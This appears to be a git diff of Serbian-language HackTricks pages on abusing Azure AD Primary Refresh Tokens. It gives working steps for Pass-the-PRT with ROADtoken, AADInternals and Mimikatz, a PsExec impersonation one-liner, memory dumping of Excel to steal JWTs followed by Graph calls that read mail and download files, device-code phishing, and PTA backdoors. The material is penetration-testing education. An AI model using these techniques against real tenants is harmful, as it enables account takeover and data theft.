Kada korisnik povezan sa Azure AD pokuša da pristupi resursu (recimo, Azure Portal), tok je obično: aplikacija poziva WAM ili BrowserCore-ov COM interfejs, koji zatim komunicira sa LSASS-om. LSASS koristi PRT i sesijski ključ (zaštićen TPM-om) da proizvede **SSO token** -- često nazvan **PRT kolačić** -- koji se zatim vraća aplikaciji ili pretraživaču. PRT kolačić je poseban JWT koji sadrži enkriptovani PRT i nonce, potpisan ključem izvedenim iz sesijskog ključa PRT-a. Ovaj kolačić se šalje Azure AD (u `x-ms-RefreshTokenCredential` header-u) da dokaže da uređaj i korisnik imaju važeći PRT, omogućavajući Azure AD da izda standardne OAuth tokene za osvežavanje i pristup raznim aplikacijama. Važno je napomenuti da će svaka tvrdnja o višefaktorskoj autentifikaciji (MFA) prisutna u PRT-u biti preneta u tokene dobijene putem ovog SSO procesa, što znači da tokeni izvedeni iz PRT-a mogu zadovoljiti resurse zaštićene MFA.
|
||||
|
||||
### Krađa Tokena na Korisničkom Nivou (Ne-Admin)
|
||||
|
||||
Kada napadač ima **izvršavanje koda na korisničkom nivou**, TPM zaštita PRT-a ne sprečava napadača da dobije tokene. Napadač **koristi ugrađene Windows Token Broker API-je**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore exposes a COM class (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO.
|
||||
BrowserCore izlaže COM klasu (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) za preuzimanje PRT kolačića. Ovaj COM API se legitimno poziva od strane pretraživača (Chrome/Edge ekstenzije) za Azure AD SSO.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
@@ -160,17 +188,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
*(Vraća Azure AD refresh token ili PRT kolačić)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtoken će pokrenuti **`BrowserCore.exe`** iz pravog direktorijuma i koristiti ga da **dobije PRT kolačić**. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i **dobijanje trajnog refresh tokena**.
|
||||
|
||||
Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.\
|
||||
Možete to dobiti sa:
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
*(Generiše nonce, poziva BrowserCore da dobije PRT kolačić, zatim ga otkupljuje putem ROADtools)*
|
||||
Ili korišćenjem [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite alat iz procesa korisnika koji napadate):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Kao jedinstvena linija:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Zatim možete koristiti **generisanu kolačić** da **generišete tokene** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
### **Web Account Manager (WAM) API**
|
||||
|
||||
Napadači koriste legitimne Microsoft biblioteke za autentifikaciju (**MSAL**, **WAM API**, **WebAuthenticationCoreManager**) iz procesa na nivou korisnika da tiho preuzmu tokene koristeći PRT zaštićen TPM-om.
|
||||
|
||||
Napadači koriste legitimne Microsoft biblioteke za autentifikaciju (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) iz procesa na nivou korisnika da tiho preuzmu tokene koristeći PRT zaštićen TPM-om.
|
||||
|
||||
- **[aadprt](https://posts.specterops.io/)**
|
||||
```bash
|
||||
@@ -202,9 +262,9 @@ Admin/SISTEM može imitirati aktivne sesije drugih korisnika kako bi pozvao Brow
|
||||
|
||||
Za ovo samo imitirati korisnički proces (npr., `explorer.exe`) i pozvati token broker API-je koristeći bilo koju tehniku komentarisanu u prethodnom odeljku.
|
||||
|
||||
### **Direktna Interakcija sa LSASS-om i Token Broker-om (Napredno)**
|
||||
### **Direktna Interakcija sa LSASS & Token Brokerom (Napredno)**
|
||||
|
||||
Administrator može i dalje raditi sa LSASS-om kako bi zloupotrebio PRT: na primer, admin bi mogao ubrizgati kod u LSASS ili pozvati interne CloudAP funkcije kako bi naterao LSASS da proizvede token. Istraživanje Dirka-jana je primetilo da admin može “interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je”. U praksi, to bi moglo značiti korišćenje LSASS-ovih vlastitih funkcija (putem tehnike kao što je API hooking ili RPC, ako su dostupni) za generisanje PRT kolačića. Drugi pristup je iskoristiti bilo koji prozor u kojem bi sesijski ključ mogao da se pojavi u memoriji – na primer, u trenutku obnavljanja PRT-a ili registracije uređaja kada je nekriptovan za upotrebu. Takvi napadi su znatno složeniji i situacioni. Jedna jednostavnija taktika admina je zloupotreba postojećih token handle-ova ili keširanja: LSASS kešira nedavno izdate refresh tokene za aplikacije u memoriji (kriptovane sa DPAPI). Određeni napadač iz SISTEMA mogao bi pokušati da izvuče ove DPAPI-zaštićene tokene (koristeći korisnički master ključ, koji admin može dobiti) kako bi direktno ukrao refresh tokene za specifične aplikacije. Međutim, najlakša i najopštija metoda ostaje imitacija i korišćenje dokumentovanih token broker interfejsa, pošto oni garantuju da će Azure AD izdati sveže tokene (sa svim pravilnim zahtevima) umesto pokušaja da se razbije enkripcija.
|
||||
Administrator može i dalje raditi sa LSASS-om kako bi zloupotrebio PRT: na primer, admin bi mogao ubrizgati kod u LSASS ili pozvati interne CloudAP funkcije kako bi naterao LSASS da proizvede token. Istraživanje Dirk-jana je primetilo da admin može “interagovati sa PRT ključevima u LSASS-u koristeći kripto API-je”. U praksi, to bi moglo značiti korišćenje LSASS-ovih vlastitih funkcija (putem tehnike kao što je API hooking ili RPC, ako su dostupni) za generisanje PRT kolačića. Drugi pristup je iskoristiti bilo koji prozor u kojem bi sesijski ključ mogao da se pojavi u memoriji – na primer, u trenutku obnavljanja PRT-a ili registracije uređaja kada je nešifrovan za upotrebu. Takvi napadi su znatno složeniji i situacioni. Jedna jednostavnija taktika admina je zloupotreba postojećih token handle-ova ili kešova: LSASS kešira nedavno izdate refresh tokene za aplikacije u memoriji (šifrovane DPAPI-jem). Određeni napadač iz SISTEMA mogao bi pokušati da izvuče ove DPAPI-zaštićene tokene (koristeći korisnikov glavni ključ, koji admin može dobiti) kako bi direktno ukrao refresh tokene za specifične aplikacije. Međutim, najlakša i najopštija metoda ostaje imitacija i korišćenje dokumentovanih token broker interfejsa, pošto oni garantuju da će Azure AD izdati sveže tokene (sa svim pravilnim zahtevima) umesto pokušaja da se razbije šifrovanje.
|
||||
|
||||
## Phishing PRT-ova
|
||||
|
||||
@@ -221,7 +281,7 @@ Zloupotreba **OAuth Device Code** toka koristeći **Microsoft Authentication Bro
|
||||
- **Korisnička autentifikacija putem Device Code** koristeći **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) i **DRS opsege/resurs** (npr., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ili **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Korisnik može registrovati uređaje** u Entra ID (**podrazumevano: dozvoljeno**, ali može biti ograničeno ili kvotirano).
|
||||
- **Nema blokirajućih CA politika** koje **onemogućavaju Device Code** ili **zahtevaju usklađene/hibridne uređaje** za ciljne aplikacije (to neće sprečiti izdavanje PRT-a, ali **hoće** blokirati **korišćenje** za pristup zaštićenim aplikacijama).
|
||||
- **Napadačem kontrolisana mašina** za pokretanje toka i čuvanje tokena/ključeva uređaja.
|
||||
- **Napadačem kontrolisani host** za pokretanje toka i čuvanje tokena/ključeva uređaja.
|
||||
|
||||
**Tok napada**:
|
||||
|
||||
@@ -234,7 +294,7 @@ curl -s -X POST \
|
||||
```
|
||||
2. **Žrtva se prijavljuje na Microsoftovom sajtu** (legit UI) i završava **MFA** → **napadač dobija DRS‑opseg refresh token** za Broker klijent.
|
||||
|
||||
3. **Registrujte zlu uređaj** u tenant-u koristeći taj refresh token (objekat uređaja se kreira i povezuje sa žrtvom).
|
||||
3. **Registrujte rogue uređaj** u tenant-u koristeći taj refresh token (objekat uređaja se kreira i povezuje sa žrtvom).
|
||||
|
||||
4. **Nadogradite na PRT** razmenom **refresh token + identitet/ključevi uređaja** → **PRT** vezan za napadačev uređaj.
|
||||
|
||||
@@ -246,8 +306,7 @@ curl -s -X POST \
|
||||
### Javne alatke i dokazi koncepta
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatizuje OAuth tok, registraciju uređaja i nadogradnje tokena.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripta sa jednom komandom koja automatizuje phishing uređajnog koda u PRT+WHfB ključeve.
|
||||
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripta sa jednim komandama koja automatizuje phish-to-PRT+WHfB ključeve.
|
||||
|
||||
## Reference
|
||||
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=OHKZkXC4Duw), neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu **čuvati pristupne tokene u čistom tekstu u memoriji**. Tako da samo **dumpovanje** **memorije** procesa i **grepovanje za JWT tokene** može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA.
|
||||
|
||||
Koraci:
|
||||
|
||||
1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom pomoću vašeg omiljenog alata.
|
||||
2. Pokrenite: `string excel.dmp | grep 'eyJ0'` i pronađite nekoliko tokena u izlazu
|
||||
3. Pronađite tokene koji vas najviše zanimaju i pokrenite alate nad njima:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Napomena da se ovi tipovi pristupnih tokena mogu naći i unutar drugih procesa.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication omogućava vašim korisnicima da **prijave se na aplikacije koje se nalaze na lokaciji i u oblaku koristeći iste lozinke**. Ova funkcija pruža vašim korisnicima bolje iskustvo - jedna lozinka manje za pamćenje, i smanjuje troškove IT podrške jer je manje verovatno da će korisnici zaboraviti kako da se prijave. Kada se korisnici prijave koristeći Microsoft Entra ID, ova funkcija direktno validira lozinke korisnika protiv vašeg lokalnog Active Directory-a.
|
||||
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS-u.
|
||||
U PTA **identiteti** su **sinhronizovani** ali **lozinke nisu** kao u PHS.
|
||||
|
||||
Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši putem **autentifikacionog agenta** koji radi na **lokalnom serveru** (ne mora biti na lokalnom DC-u).
|
||||
|
||||
### Tok autentifikacije
|
||||
### Authentication flow
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -21,11 +21,11 @@ Autentifikacija se validira u lokalnom AD-u, a komunikacija sa oblakom se vrši
|
||||
|
||||
> [!WARNING]
|
||||
> Ako napadač **kompromituje** **PTA**, može **videti** sve **akreditive** iz reda (u **čistom tekstu**).\
|
||||
> Takođe može **validirati bilo koje akreditive** za AzureAD (sličan napad kao na Skeleton key).
|
||||
> Takođe može **validirati bilo koje akreditive** prema AzureAD-u (sličan napad kao na Skeleton key).
|
||||
|
||||
### Enumeracija
|
||||
### Enumeration
|
||||
|
||||
Iz Entra ID:
|
||||
From Entra ID:
|
||||
```bash
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
@@ -80,7 +80,7 @@ Ova backdoor će:
|
||||
> Kada se AzureADConnectAuthenticationAgent servis ponovo pokrene, PTASpy se “uklanja” i mora se ponovo instalirati.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nakon dobijanja **GA privilegija** na oblaku, moguće je **registrovati novi PTA agent** i **ponoviti** **prethodne** korake za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**
|
||||
> Nakon dobijanja **GA privilegija** na oblaku, moguće je **registrovati novi PTA agent** i može se **ponoviti** **prethodni** koraci za **autentifikaciju koristeći bilo koju lozinku** i takođe, **dobiti lozinke u čistom tekstu.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -1,58 +0,0 @@
|
||||
# Az AD Connect - Hybrid Identity
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Integracija između **On-premises Active Directory (AD)** i **Azure AD** se olakšava putem **Azure AD Connect**, nudeći različite metode koje podržavaju **Single Sign-on (SSO)**. Svaka metoda, iako korisna, predstavlja potencijalne sigurnosne ranjivosti koje bi mogle biti iskorišćene za kompromitovanje cloud ili on-premises okruženja:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Moguća kompromitacija agenta na on-prem AD, omogućavajući validaciju korisničkih lozinki za Azure konekcije (on-prem do Cloud).
|
||||
- Mogućnost registracije novog agenta za validaciju autentifikacija na novoj lokaciji (Cloud do on-prem).
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Potencijalno vađenje lozinki u čistom tekstu privilegovanih korisnika iz AD, uključujući kredencijale visoko privilegovanog, automatski generisanog AzureAD korisnika.
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Krađa privatnog ključa korišćenog za SAML potpisivanje, omogućavajući impersonaciju on-prem i cloud identiteta.
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Krađa lozinke korisnika `AZUREADSSOACC`, koja se koristi za potpisivanje Kerberos srebrnih karata, omogućavajući impersonaciju bilo kog cloud korisnika.
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Mogućnost eskalacije sa Global Admin na on-prem Domain Admin manipulacijom AzureAD korisničkih imena i SIDs i zahtevom za TGT-ovima iz AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Kompromitovanje naloga Administratora aplikacija ili on-premise Sync naloga omogućava modifikaciju postavki direktorijuma, članstava u grupama, korisničkih naloga, SharePoint sajtova i OneDrive datoteka.
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
Za svaku metodu integracije, sinhronizacija korisnika se vrši, a `MSOL_<installationidentifier>` nalog se kreira u on-prem AD. Važno je napomenuti da obe metode **PHS** i **PTA** olakšavaju **Seamless SSO**, omogućavajući automatsko prijavljivanje za Azure AD računare pridružene on-prem domeni.
|
||||
|
||||
Da biste verifikovali instalaciju **Azure AD Connect**, može se koristiti sledeća PowerShell komanda, koristeći **AzureADConnectHealthSync** modul (instaliran po defaultu sa Azure AD Connect):
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,250 +0,0 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Proverite da li imate PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
U odeljku SSO State, trebali biste videti **`AzureAdPrt`** postavljen na **DA**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U istom izlazu takođe možete videti da li je **uređaj povezan sa Azure** (u polju `AzureAdJoined`):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Kolačić
|
||||
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene tačkom `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
Aktuelni **Primary Refresh Token (PRT)** je enkapsuliran unutar **`refresh_token`**, koji je enkriptovan ključem pod kontrolom Azure AD, čineći njegov sadržaj neprozirnim i ne dekriptabilnim za nas. Polje **`is_primary`** označava enkapsulaciju primarnog refresh tokena unutar ovog tokena. Da bi se osiguralo da kolačić ostane vezan za specifičnu sesiju prijavljivanja za koju je namenjen, `request_nonce` se prenosi sa stranice `logon.microsoftonline.com`.
|
||||
|
||||
### PRT Cookie tok koristeći TPM
|
||||
|
||||
**LSASS** proces će poslati TPM-u **KDF kontekst**, a TPM će koristiti **session key** (prikupljen kada je uređaj registrovan u AzureAD i sačuvan u TPM-u) i prethodni kontekst da **izvede** **ključ,** a ovaj **izvedeni ključ** se koristi za **potpisivanje PRT kolačića (JWT).**
|
||||
|
||||
**KDF kontekst je** nonce iz AzureAD i PRT koji stvara **JWT** pomešan sa **kontekstom** (nasumični bajtovi).
|
||||
|
||||
Stoga, čak i ako PRT ne može biti ekstrahovan jer se nalazi unutar TPM-a, moguće je zloupotrebiti LSASS da **zatraži izvedene ključeve iz novih konteksta i koristi generisane ključeve za potpisivanje kolačića**.
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Zloupotreba Scenariji
|
||||
|
||||
Kao **običan korisnik** moguće je **zatražiti korišćenje PRT-a** tražeći od LSASS-a SSO podatke.\
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu.
|
||||
|
||||
Kao **SYSTEM** mogli biste **ukrasti PRT ako nije zaštićen** TPM-om ili **interagovati sa PRT ključevima u LSASS-u** koristeći kripto API-je.
|
||||
|
||||
## Pass-the-PRT Napad Primeri
|
||||
|
||||
### Napad - ROADtoken
|
||||
|
||||
Za više informacija o ovom načinu [**proverite ovaj post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken će pokrenuti **`BrowserCore.exe`** iz pravog direktorijuma i koristiti ga da **dobije PRT kolačić**. Ovaj kolačić se zatim može koristiti sa ROADtools za autentifikaciju i **dobijanje trajnog refresh tokena**.
|
||||
|
||||
Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.\
|
||||
Možete to dobiti sa:
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Ili korišćenjem [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite u alatu iz procesa korisnika koji napadate):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Kao jedinstvena linija:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Zatim možete koristiti **generisani kolačić** za **generisanje tokena** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### Napad - Korišćenje roadrecon
|
||||
|
||||
### Napad - Korišćenje AADInternals i propuštenog PRT-a
|
||||
|
||||
`Get-AADIntUserPRTToken` **dobija korisnikov PRT token** sa Azure AD povezanog ili hibridno povezanog računara. Koristi `BrowserCore.exe` za dobijanje PRT tokena.
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
Ili ako imate vrednosti iz Mimikatz, možete takođe koristiti AADInternals da generišete token:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
# Add padding
|
||||
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
|
||||
|
||||
# Decode
|
||||
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
|
||||
|
||||
# Mimikatz "Clear key" value
|
||||
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
|
||||
|
||||
# Convert to Byte array and B64 encode
|
||||
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
|
||||
|
||||
# Generate PRTToken with Nonce
|
||||
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
|
||||
$prtToken
|
||||
## You can already use this token ac cookie in the browser
|
||||
|
||||
# Get access token from prtToken
|
||||
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
|
||||
|
||||
# Verify access and connect with Az. You can see account id in mimikatz prt output
|
||||
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
|
||||
```
|
||||
Idite na [https://login.microsoftonline.com](https://login.microsoftonline.com), obrišite sve kolačiće za login.microsoftonline.com i unesite novi kolačić.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
Path: /
|
||||
HttpOnly: Set to True (checked)
|
||||
```
|
||||
Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Ostatak bi trebao biti podrazumevani. Uverite se da možete osvežiti stranicu i da kolačić ne nestaje, ako nestane, možda ste napravili grešku i morate ponovo proći kroz proces. Ako ne nestane, trebali biste biti u redu.
|
||||
|
||||
### Napad - Mimikatz
|
||||
|
||||
#### Koraci
|
||||
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Local Security Authority Subsystem Service) i čuva za kasniju upotrebu.
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ inicijalno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (Data Protection API) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) i za razumevanje njegove primene, pogledajte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Nakon dekriptovanja Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da ako je PRT unutar TPM-a i nije unutar `lsass`, **mimikatz neće moći da ga izvuče**.\
|
||||
> Međutim, biće moguće **dobiti ključ iz deriviranog ključa iz konteksta** iz TPM-a i koristiti ga za **potpisivanje kolačića (proverite opciju 3).**
|
||||
|
||||
Možete pronaći **detaljno objašnjenje izvršenog procesa** za ekstrakciju ovih detalja ovde: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
> [!WARNING]
|
||||
> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom.
|
||||
|
||||
Možete koristiti **mimikatz** za ekstrakciju PRT:
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
